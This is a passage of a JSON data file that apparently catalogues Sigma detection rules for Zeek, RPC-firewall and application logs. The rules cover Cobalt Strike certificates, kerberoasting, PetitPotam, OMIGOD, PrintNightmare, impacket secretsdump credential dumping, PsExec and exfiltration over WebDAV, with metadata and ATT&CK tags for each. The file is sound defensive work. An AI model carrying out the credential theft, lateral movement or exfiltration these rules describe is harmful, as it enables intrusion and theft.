"https://github.com/SigmaHQ/sigma/tree/master/rules/network/huawei/bgp/huawei_bgp_auth_failed.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.credential_access", "attack.collection", "attack.t1078", "attack.t1110", "attack.t1557" ] }, "uuid": "a557ffe6-ac54-43d2-ae69-158027082350", "value": "Huawei BGP Authentication Failures" }, { "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/06/23", "falsepositive": [ "Unknown" ], "filename": "zeek_default_cobalt_strike_certificate.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml" ], "tags": [ "attack.command_and_control", "attack.s0154" ] }, "uuid": "7100f7e3-92ce-4584-b7b7-01b40d3d4118", "value": "Default Cobalt Strike Certificate" }, { "description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.", "meta": { "author": "Josh Brower @DefensiveDepth", "creation_date": "2020/08/22", "falsepositive": [ "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet." ], "filename": "zeek_rdp_public_listener.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://attack.mitre.org/techniques/T1021/001/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml" ], "tags": [ "attack.t1021.001" ] }, "uuid": "1fc0809e-06bf-4de3-ad52-25e5263b7623", "value": "Publicly Accessible RDP Service" }, { "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", "meta": { "author": "sigma", "creation_date": "2020/02/12", "falsepositive": [ "Normal enterprise SPN requests activity" ], "filename": "zeek_susp_kerberos_rc4.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://adsecurity.org/?p=3458", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml" ], "tags": [ "attack.credential_access", "attack.t1558.003" ] }, "uuid": "503fe26e-b5f2-4944-a126-eab405cc06e5", "value": "Kerberos Network Traffic RC4 Ticket Encryption" }, { "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", "meta": { "author": "@neu5ron, @Antonlovesdnb, Mike Remen", "creation_date": "2021/08/17", "falsepositive": [ "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)." ], "filename": "zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://threatpost.com/microsoft-petitpotam-poc/168163/", "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" ], "tags": [ "attack.t1557.001", "attack.t1187" ] }, "related": [ { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4096842a-8f9f-4d36-92b4-d0b2a62f9b2a", "value": "Potential PetitPotam Attack Via EFS RPC Calls" }, { "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "zeek_http_webdav_put_request.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/17", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "705072a5-bb6f-4ced-95b6-ecfa6602090b", "value": "WebDav Put Request" }, { "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", "meta": { "author": "Samir Bousseaden, @neu5rn", "creation_date": "2020/04/03", "falsepositive": [ "Unknown" ], "filename": "zeek_smb_converted_win_atsvc_task.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml" ], "tags": [ "attack.lateral_movement", "attack.persistence", "car.2013-05-004", "car.2015-04-001", "attack.t1053.002" ] }, "related": [ { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dde85b37-40cd-4a94-b00c-0b8794f956b5", "value": "Remote Task Creation via ATSVC Named Pipe - Zeek" }, { "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/", "meta": { "author": "SOC Prime, Adam Swan", "creation_date": "2020/05/01", "falsepositive": [ "Unknown" ], "filename": "zeek_http_executable_download_from_webdav.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", "https://github.com/OTRF/detection-hackathon-apt29", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aac2fd97-bcba-491b-ad66-a6edf89c71bf", "value": "Executable from Webdav" }, { "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", "meta": { "author": "Saw Winn Naung , Azure-Sentinel", "creation_date": "2021/08/15", "falsepositive": [ "Unknown" ], "filename": "zeek_dns_torproxy.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml" ], "tags": [ "attack.t1048" ] }, "related": [ { "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a8322756-015c-42e7-afb1-436e85ed3ff5", "value": "DNS TOR Proxies" }, { "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n", "meta": { "author": "Nate Guagenti (neu5ron)", "creation_date": "2021/09/20", "falsepositive": [ "Exploits that were attempted but unsuccessful.", "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips." ], "filename": "zeek_http_omigod_no_auth_rce.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://twitter.com/neu5ron/status/1438987292971053057?s=20", "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml" ], "tags": [ "attack.privilege_escalation", "attack.initial_access", "attack.execution", "attack.lateral_movement", "attack.t1068", "attack.t1190", "attack.t1203", "attack.t1021.006", "attack.t1210" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ab6b1a39-a9ee-4ab4-b075-e83acf6e346b", "value": "OMIGOD HTTP No Authentication RCE" }, { "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", "meta": { "author": "@neu5ron, SOC Prime", "creation_date": "2020/03/19", "falsepositive": [ "Windows administrator tasks or troubleshooting", "Windows management scripts or software" ], "filename": "zeek_dce_rpc_mitre_bzar_execution.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/mitre-attack/bzar#indicators-for-attck-execution", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.t1053.002", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b640c0b8-87f8-4daa-aef8-95a24261dd1d", "value": "MITRE BZAR Indicators for Execution" }, { "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", "meta": { "author": "Samir Bousseaden, @neu5ron", "creation_date": "2020/03/19", "falsepositive": [ "Unknown" ], "filename": "zeek_smb_converted_win_impacket_secretdump.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.004", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "92dae1ed-1c9d-4eff-a567-33acbd95b00e", "value": "Possible Impacket SecretDump Remote Activity - Zeek" }, { "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", "meta": { "author": "Samir Bousseaden, @neu5ron, Tim Shelton", "creation_date": "2020/04/02", "falsepositive": [ "Unknown" ], "filename": "zeek_smb_converted_win_susp_psexec.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "f1b3a22a-45e6-4004-afb5-4291f9c21166", "value": "Suspicious PsExec Execution - Zeek" }, { "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>", "meta": { "author": "Michael Portera (@mportatoes)", "creation_date": "2022/04/21", "falsepositive": [ "Unknown" ], "filename": "zeek_dns_nkn.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/Maka8ka/NGLite", "https://github.com/nknorg/nkn-sdk-go", "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" ], "tags": [ "attack.command_and_control" ] }, "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f", "value": "New Kind of Network (NKN) Detection" }, { "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", "meta": { "author": "@neu5ron, SOC Prime", "creation_date": "2020/03/19", "falsepositive": [ "Windows administrator tasks or troubleshooting", "Windows management scripts or software" ], "filename": "zeek_dce_rpc_mitre_bzar_persistence.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/mitre-attack/bzar#indicators-for-attck-persistence", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1547.004" ] }, "uuid": "53389db6-ba46-48e3-a94c-e0f2cefe1583", "value": "MITRE BZAR Indicators for Persistence" }, { "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", "meta": { "author": "OTR (Open Threat Research), @neu5ron", "creation_date": "2018/11/28", "falsepositive": [ "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too" ], "filename": "zeek_dce_rpc_smb_spoolss_named_pipe.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://twitter.com/_dirkjan/status/1309214379003588608", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "bae2865c-5565-470d-b505-9496c87d0c30", "value": "SMB Spoolss Name Piped Usage" }, { "description": "Domain user and group enumeration via network reconnaissance.\nSeen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller.\nThe rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29\n", "meta": { "author": "Nate Guagenti (@neu5ron), Open Threat Research (OTR)", "creation_date": "2020/05/03", "falsepositive": [ "Devices that may do authentication like a VPN or a firewall that looksup IPs to username", "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "zeek_dce_rpc_domain_user_enumeration.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/37", "https://github.com/OTRF/detection-hackathon-apt29", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_domain_user_enumeration.yml" ], "tags": [ "attack.discovery", "attack.t1087.002", "attack.t1082" ] }, "uuid": "66a0bdc6-ee04-441a-9125-99d2eb547942", "value": "Domain User Enumeration Network Recon 01" }, { "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", "meta": { "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron", "creation_date": "2021/08/19", "falsepositive": [ "A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'." ], "filename": "zeek_dns_mining_pools.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml" ], "tags": [ "attack.t1569.002", "attack.t1496" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bf74135c-18e8-4a72-a926-0e4f47888c19", "value": "DNS Events Related To Mining Pools" }, { "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", "meta": { "author": "@neu5ron (Nate Guagenti)", "creation_date": "2021/08/23", "falsepositive": [ "Legitimate remote alteration of a printer driver." ], "filename": "zeek_dce_rpc_printnightmare_print_driver_install.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", "https://github.com/corelight/CVE-2021-1675", "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" ], "tags": [ "attack.execution", "cve.2021.1678", "cve.2021.1675", "cve.2021.34527" ] }, "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8", "value": "Possible PrintNightmare Print Driver Install" }, { "description": "Detects known sensitive file extensions via Zeek", "meta": { "author": "Samir Bousseaden, @neu5ron", "creation_date": "2020/04/02", "falsepositive": [ "Help Desk operator doing backup or re-imaging end user machine or backup software", "Users working with these data types or exchanging message files" ], "filename": "zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml" ], "tags": [ "attack.collection" ] }, "uuid": "286b47ed-f6fe-40b3-b3a8-35129acd43bc", "value": "Suspicious Access to Sensitive File Extensions - Zeek" }, { "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", "meta": { "author": "Samir Bousseaden, @neu5ron, Tim Shelton", "creation_date": "2020/04/02", "falsepositive": [ "Update the excluded named pipe to filter out any newly observed legit named pipe" ], "filename": "zeek_smb_converted_win_lm_namedpipe.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://twitter.com/menasec1/status/1104489274387451904", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "021310d9-30a6-480a-84b7-eaa69aeb92bb", "value": "First Time Seen Remote Named Pipe - Zeek" }, { "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", "meta": { "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community", "creation_date": "2020/04/02", "falsepositive": [ "Transferring sensitive files for legitimate administration work by legitimate administrator" ], "filename": "zeek_smb_converted_win_transferring_files_with_credential_data.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.001", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2e69f167-47b5-4ae7-a390-47764529eff5", "value": "Transferring Files with Credential Data via Network Shares - Zeek" }, { "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n", "meta": { "author": "@neu5ron, SOC Prime Team, Corelight", "creation_date": "2021/05/04", "falsepositive": [ "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"" ], "filename": "zeek_dns_susp_zbit_flag.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", "https://tools.ietf.org/html/rfc2929#section-2.1", "https://twitter.com/neu5ron/status/1346245602502443009", "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" ], "tags": [ "attack.t1095", "attack.t1571", "attack.command_and_control" ] }, "related": [ { "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ede05abc-2c9e-4624-9944-9ff17fdc0bf5", "value": "Suspicious DNS Z Flag Bit Set" }, { "description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", "meta": { "author": "Thomas Patzke", "creation_date": "2017/08/05", "falsepositive": [ "Application bugs" ], "filename": "appframework_django_exceptions.yml", "level": "medium", "logsource.category": "application", "logsource.product": "django", "refs": [ "https://docs.djangoproject.com/en/1.11/ref/exceptions/", "https://docs.djangoproject.com/en/1.11/topics/logging/#django-security", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fd435618-981e-4a7c-81f8-f78ce480d616", "value": "Django Framework Exceptions" }, { "description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", "meta": { "author": "Thomas Patzke", "creation_date": "2017/08/06", "falsepositive": [ "Application bugs" ], "filename": "appframework_spring_exceptions.yml", "level": "medium", "logsource.category": "application", "logsource.product": "spring", "refs": [ "https://docs.spring.io/spring-security/site/docs/current/apidocs/overview-tree.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/appframework_spring_exceptions.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ae48ab93-45f7-4051-9dfe-5d30a3f78e33", "value": "Spring Framework Exceptions" }, { "description": "Generic rule for SQL exceptions in Python according to PEP 249", "meta": { "author": "Thomas Patzke", "creation_date": "2017/08/12", "falsepositive": [ "Application bugs" ], "filename": "app_python_sql_exceptions.yml", "level": "medium", "logsource.category": "application", "logsource.product": "python", "refs": [ "https://www.python.org/dev/peps/pep-0249/#exceptions", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "19aefed0-ffd4-47dc-a7fc-f8b1425e84f9", "value": "Python SQL Exceptions" }, { "description": "Detects SQL error messages that indicate probing for an injection attack", "meta": { "author": "Bjoern Kimminich", "creation_date": "2017/11/27", "falsepositive": [ "Application bugs" ], "filename": "app_sqlinjection_errors.yml", "level": "high", "logsource.category": "application", "logsource.product": "sql", "refs": [ "http://www.sqlinjection.net/errors", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a670c6d-7189-4b1c-8017-a417ca84a086", "value": "Suspicious SQL Error Messages" }, { "description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", "meta": { "author": "Thomas Patzke", "creation_date": "2017/08/06", "falsepositive": [ "Application bugs" ], "filename": "appframework_ruby_on_rails_exceptions.yml", "level": "medium", "logsource.category": "application", "logsource.product": "ruby_on_rails", "refs": [ "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", "http://guides.rubyonrails.org/action_controller_overview.html", "http://edgeguides.rubyonrails.org/security.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a", "value": "Ruby on Rails Framework Exceptions" }, { "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_sharphound_recon_account.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" ], "tags": [ "attack.t1087", "attack.discovery" ] }, "uuid": "65f77b1e-8e79-45bf-bb67-5988a8ce45a5", "value": "SharpHound Recon Account Discovery" }, { "description": "Detects remote RPC calls to collect information", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Remote administration of registry values" ], "filename": "rpc_firewall_remote_registry_recon.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", 